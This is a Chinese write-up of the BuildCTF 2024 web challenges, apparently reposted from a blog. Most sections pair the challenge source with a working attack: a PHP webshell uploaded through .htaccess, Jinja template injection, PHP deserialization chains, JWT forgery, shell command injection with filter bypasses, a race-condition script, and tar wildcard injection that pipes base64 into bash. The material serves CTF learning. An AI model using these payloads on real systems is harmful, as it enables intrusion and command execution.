0


BuildCTF 2024 web

babyupload

上传 .htaccess

AddType application/x-httpd-php .png

上传 1.png

GIF89a
<?=`$_POST[1]`;?> 

就可以直接绕过进行命令执行拿到flag了

ez!http

一些http头的伪造

POST / HTTP/1.1
Host: []:42737
Content-Length: 9
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://[]:42737
Content-Type: application/x-www-form-urlencoded
User-Agent: buildctf
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: blog.buildctf.vip
Accept-Encoding: gzip, deflate
Accept-Language: buildctf
x-forwarded-for: 127.0.0.1
Connection: close
Date: 2042.99.99
From: [email protected]
Via: buildctf.via

user=root&getFlag=This_is_flag
RedFlag
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG']= os.getenv('FLAG')@app.route('/')defindex():returnopen(__file__).read()@app.route('/redflag/')defredflag(redflag):defsafe_jinja(payload):
        payload = payload.replace('(','').replace(')','')
        blacklist =['config','self']return''.join(['{{% set {}=None%}}'.format(c)for c in blacklist])+ payload
    return flask.render_template_string(safe_jinja(redflag))

根据代码可知config里面存在flag, 获取config的值就行
利用flask里面的

get_flashed_messages

函数

payload:

url/redflag/{{get_flashed_messages.__globals__['current_app'].config}}
LovePopChain
<?phpclassMyObject{public$NoLove="Do_You_Want_Fl4g?";public$Forgzy;publicfunction__wakeup(){if($this->NoLove=="Do_You_Want_Fl4g?"){echo'Love but not getting it!!';}}publicfunction__invoke(){$this->Forgzy=clonenewGaoZhouYue();}}classGaoZhouYue{public$Yuer;public$LastOne;publicfunction__clone(){echo'最后一次了, 爱而不得, 未必就是遗憾~~';eval($_POST['y3y4']);}}classhybcx{public$JiuYue;public$Si;publicfunction__call($fun1,$arg){$this->Si->JiuYue=$arg[0];}publicfunction__toString(){$ai=$this->Si;echo'I W1ll remember you';return$ai();}}if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);}else{highlight_file(__FILE__);}

反序列化, 比较简单的利用

//poc链// MyObject::__wakeup -->hybcx::__toString() -->MyObject::__invoke() -->GaoZhouYue::__clone$a=newMyObject();$a->NoLove=newhybcx();$a->NoLove->Si=newMyObject();echourlencode(serialize($a));//y3y4=system("cat /ofl1111111111ove4g");
find-the-id

比较简单, bp直接爆破, 爆破相应的数字可以直接拿到flag

ez_md5
第一关: sql注入里面的md5加密的密码, 直接套万能密码传参
ffifdyop

第二关:

<?phperror_reporting(0);///robotshighlight_file(__FILE__);include("flag.php");$Build=$_GET['a'];$CTF=$_GET['b'];if($_REQUEST){foreach($_REQUESTas$value){if(preg_match('/[a-zA-Z]/i',$value))die('不可以哦!');}}if($Build!=$CTF&&md5($Build)==md5($CTF)){if(md5($_POST['Build_CTF.com'])=="3e41f780146b6c246cd49dd296a3da28"){echo$flag;}elsedie("再想想");}elsedie("不是吧这么简单的md5都过不去?");?>

需要爆破md5, 题目给了提示: md5(114514xxxxxxx)
直接爆它的md5值

<?php// 目标 MD5 哈希值$target_hash="3e41f780146b6c246cd49dd296a3da28";// 固定的前缀$prefix="114514";// 字符集$chars="0123456789";$length=7;// 生成所有可能的字符串functiongenerate_strings($chars,$length,$prefix){$count=strlen($chars);$total_combinations=pow($count,$length);for($i=0;$i<$total_combinations;$i++){$current=$prefix;$num=$i;for($j=0;$j<$length;$j++){$current.=$chars[$num%$count];$num=(int)($num/$count);}yield$current;}}foreach(generate_strings($chars,$length,$prefix)as$test_string){$hash=md5($test_string);if($hash===$target_hash){echo"Found: $test_string\n";break;}}//1145146803531
Why_so_serials?
<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classGotham{public$Bruce;public$Wayne;public$crime=false;publicfunction__construct($Bruce,$Wayne){$this->Bruce=$Bruce;$this->Wayne=$Wayne;}}if(isset($_GET['Bruce'])&&isset($_GET['Wayne'])){$Bruce=$_GET['Bruce'];$Wayne=$_GET['Wayne'];$city=newGotham($Bruce,$Wayne);if(preg_match("/joker/",$Wayne)){$serial_city=str_replace('joker','batman',serialize($city));$boom=unserialize($serial_city);if($boom->crime){echo$flag;}}else{echo"no crime";}}else{echo"HAHAHAHA batman can't catch me!";}

反序列化字符串逃逸, 需要自己去构造, 数出需要逃逸出多少

<?phpclassGotham{public$Bruce;public$Wayne;public$crime=false;}$a=newGotham();$a->Bruce='1';$a->Wayne='jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';//";s:5:"crime";b:1;} -->需要逃逸的$serial_city=str_replace('joker','batman',serialize($a));echo$serial_city;//batmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatman
tflock

/robots.txt

题目感觉有点抽象, 根据题目的提示: 题目名补充为true & false lock(真假锁定)
在拿题目给的密码字典爆破了两三次后就可以登录拿到flag了

sub
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key ='BuildCTF'
app.config['JWT_SECRET_KEY']='BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users ={}

messages =[]@app.route('/message', methods=['GET','POST'])defmessage():if request.method =='POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name,'content': content})
        flash('Message posted')return redirect(url_for('message'))return render_template('message.html', messages=messages)@app.route('/register', methods=['GET','POST'])defregister():if request.method =='POST':
        username = request.form.get('username')
        password = request.form.get('password')if username in users:
            flash('Username already exists')return redirect(url_for('register'))
        users[username]={'password': generate_password_hash(password),'role':'user'}
        flash('User registered successfully')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['POST','GET'])deflogin():if request.method =='POST':
        username = request.form.get('username')
        password = request.form.get('password')if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({'sub': username,'role': users[username]['role'],'exp': datetime.datetime.utcnow()+ datetime.timedelta(minutes=30)}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')return response
        else:return jsonify({"msg":"Invalid username or password"}),401return render_template('login.html')@app.route('/logout')deflogout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt','', expires=0)
    flash('You have been logged out')return resp

@app.route('/')defindex():return render_template('index.html')@app.route('/page')defpage():
    jwt_token = request.cookies.get('jwt')if jwt_token:try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']except jwt.ExpiredSignatureError:return jsonify({"msg":"Token has expired"}),401except jwt.InvalidTokenError:return jsonify({"msg":"Invalid token"}),401except Exception as e:return jsonify({"msg":"Invalid or expired token"}),401if role !='admin'or current_user notin users:return abort(403,'Access denied')file= request.args.get('file','')
        file_path = os.path.join(DOCUMENT_DIR,file)
        file_path = os.path.normpath(file_path)ifnot file_path.startswith(DOCUMENT_DIR):return abort(400,'Invalid file name')try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)except subprocess.CalledProcessError as e:
            content =str(e)except Exception as e:
            content =str(e)return render_template('page.html', content=content)else:return abort(403,'Access denied')@app.route('/categories')defcategories():return render_template('categories.html', categories=['Web','Pwn','Misc','Re','Crypto'])if __name__ =='__main__':
    app.run(host='0.0.0.0', port=5050)

审计一下代码, 直接利用给出的密钥生成role为admin的用户, 进入到 /page页面(在Cookie里面加上jwt的值)

content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)

subprocess.check_output可以执行系统命令 , 利用file传参的值进行一个命令执行, 绕过一下(在bp里面做的)

/page?file=1;cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flag
我写的网站被rce了?

多个功能点都试试, 可以发现在查看日志的时候是会传参

log_type=access

查看

/var/log/nginx/access.log

日志, 可以控制查看日志的名字, 尝试输入一些其他的参数, 会发现存在一个过滤
根据题目的名字可能就是在这里存在一个rce,
可控的参数这里想要执行命令, 那么需要将它与它前面的值和后面的值给分隔开 , 可以用到 || (

%0a

也可以)

log_type=||whoami||

然后空格, cat啥的也被过滤了, 绕过一下就行

log_type=||ca''t${IFS}/f???||
刮刮乐

根据提示传参cmd , 以及修改请求头Referer

这道题有点懵,需要在后面加个

;

就可以直接执行命令

?cmd=cat /flag;
eazyl0gin

根据提示:

routes/users.js
router.post('/login',function(req,res,next){var data ={
    username:String(req.body.username),
    password:String(req.body.password)}const md5 = crypto.createHash('md5');const flag = process.env.flag

  if(data.username.toLowerCase()==='buildctf'){return res.render('login',{data:"你不许用buildctf账户登陆"})}if(data.username.toUpperCase()!='BUILDCTF'){return res.render('login',{data:"只有buildctf这一个账户哦~"})}var md5pwd = md5.update(data.password).digest('hex')if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){return res.render('login',{data:"密码错误"})}return res.render('login',{data:flag})})

审计代码用户名会经过

toUpperCase()

满足与

BUILDCTF

相等就行
在js里面存在一个大小写转换的漏洞,也就是
对于toUpperCase(): 字符

"ı"

"ſ"

经过toUpperCase处理后结果为

"I"

"S"

对于toLowerCase(): 字符

"K"

经过toLowerCase处理后结果为

"k"

(前⾯这个K不是字⺟K)

通过这个绕过用户名, 然后密码给了一个md5值, 可以直接解出来是

012346

直接登录

buıldctf / 012346

就能拿到flag

Cookie_Factory

不太理解 , 贴一下官方wp

// your value is only updated server-side when the client
// acknowledges an error by sending the receivedError event
// so you can just disable this
// paste this into the JS console
socket.off('error');
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
// you have to send it twice since it only updates
// once the already-stored point value on the server side is
// more than 1e20
ez_waf

对文件的后缀名没有过滤, 可以直接上传

.php

文件, 但是对文件的内容过滤的比较死

搜索一下对文件内容绕过的方法
参考文章:

https://www.cnblogs.com/murkuo/p/15085555.html

最后提到了一种 填充垃圾数据,造成溢出后使WAF崩掉 , 从而绕过文件内容的检查
我直接在前面加了10000个a可以成功绕过, 访问 /uploads/1.php直接执行命令就行
(没有回显上传的路径, 盲猜uploads路径, 或者也可以目录扫描一下)

在这里插入图片描述

fake_signin
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key ='BuildCTF'

CURRENT_DATE = datetime(2024,9,30)

users ={'admin':{'password':'admin','signins':{},'supplement_count':0,}}@app.route('/')defindex():if'user'in session:return redirect(url_for('view_signin'))return redirect(url_for('login'))@app.route('/login', methods=['GET','POST'])deflogin():if request.method =='POST':
        username = request.form['username']
        password = request.form['password']if username in users and users[username]['password']== password:
            session['user']= username
            return redirect(url_for('view_signin'))return render_template('login.html')@app.route('/view_signin')defview_signin():if'user'notin session:return redirect(url_for('login'))

    user = users[session['user']]
    signins = user['signins']

    dates =[(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"),False))for i inrange(1,31)]

    today = CURRENT_DATE.strftime("%Y-%m-%d")
    today_signed_in = today in signins

    iflen([d for d in signins.values()if d])>=30:return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)@app.route('/signin')defsignin():if'user'notin session:return redirect(url_for('login'))

    user = users[session['user']]
    today = CURRENT_DATE.strftime("%Y-%m-%d")if today notin user['signins']:
        user['signins'][today]=Truereturn redirect(url_for('view_signin'))@app.route('/supplement_signin', methods=['GET','POST'])defsupplement_signin():if'user'notin session:return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message =""if request.method =='POST':
        supplement_date = request.form.get('supplement_date')if supplement_date:if user['supplement_count']<1:  
                user['signins'][supplement_date]=True
                user['supplement_count']+=1else:
                supplement_message ="本月补签次数已用完。"else:
            supplement_message ="请选择补签日期。"return redirect(url_for('view_signin'))

    supplement_dates =[(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"))for i inrange(1,31)]return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)@app.route('/logout')deflogout():
    session.pop('user',None)return redirect(url_for('login'))if __name__ =='__main__':
    app.run(host='0.0.0.0', port=5051)

分析代码, 需要签到满30次以上才能够拿到flag, 但是我们只能签到一次, 补签一次

想要能够签到30次, 需要想办法补签的次数提高

在这个路由下

/supplement_signin

存在⼀个并发漏洞 ,

user['supplement_count']

是一个共享状态, 可以进行一个并发请求,
使得

user['supplement_count']

被多次更新绕过检查
写个代码并发执行一下, 登录后就可以看到flag了

import requests
import threading

url='http://27.25.151.80:45280/supplement_signin'
url_login='http://27.25.151.80:45280/login'

login_data={"username":"admin","password":"admin"}
datas=[f"2024-09-{i:02d}"for i inrange(1,31)]# print(datas)
session=requests.session()

session.post(url=url_login,data=login_data)defsupplement_signin(supplement_data):
    data={"supplement_date":supplement_data}
    res=session.post(url=url,data=data)print(res.status_code)

threads=[]for supplement_data in datas:
    thread=threading.Thread(target=supplement_signin,args=(supplement_data,))
    thread.start()
    threads.append(thread)for thread in threads:
    thread.join()
打包给你

关键代码

@app.route('/api/download', methods=['GET'])defdownload():@after_this_requestdefremove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")# send tar to userreturn send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')

tar有通配符*的漏洞

可以参考文章:

 https://www.cnblogs.com/jhinjax/p/17067082.html

通过控制文件名进行命令执行, 因为

..

/ 

被过滤, 使用

base64

进行绕过

–checkpoint-action选项,用于指定到达检查点时将要执行的程序,这将允许运行一个任意的命令

--checkpoint=1  ==> 作为文件名

ls /> $(pwd)/test.txt
--checkpoint-action=exec=echo bHMgLz4gJChwd2QpL3Rlc3QudHh0|base64 -d|bash   ==> 作为文件名

在这里插入图片描述

第一次下载之后就会执行命令, 生成 test.txt文件, 然后第二次下载就可以看到test.txt文件里面列出来的根目录

然后替换命令

 cat /Guess_my_name

就可以拿到flag了

在这里插入图片描述

标签: ctf web buildctf

本文转载自: https://blog.csdn.net/2302_80472909/article/details/143524462
版权归原作者 pwfortune 所有, 如有侵权,请联系我们删除。

“BuildCTF 2024 web”的评论:

还没有评论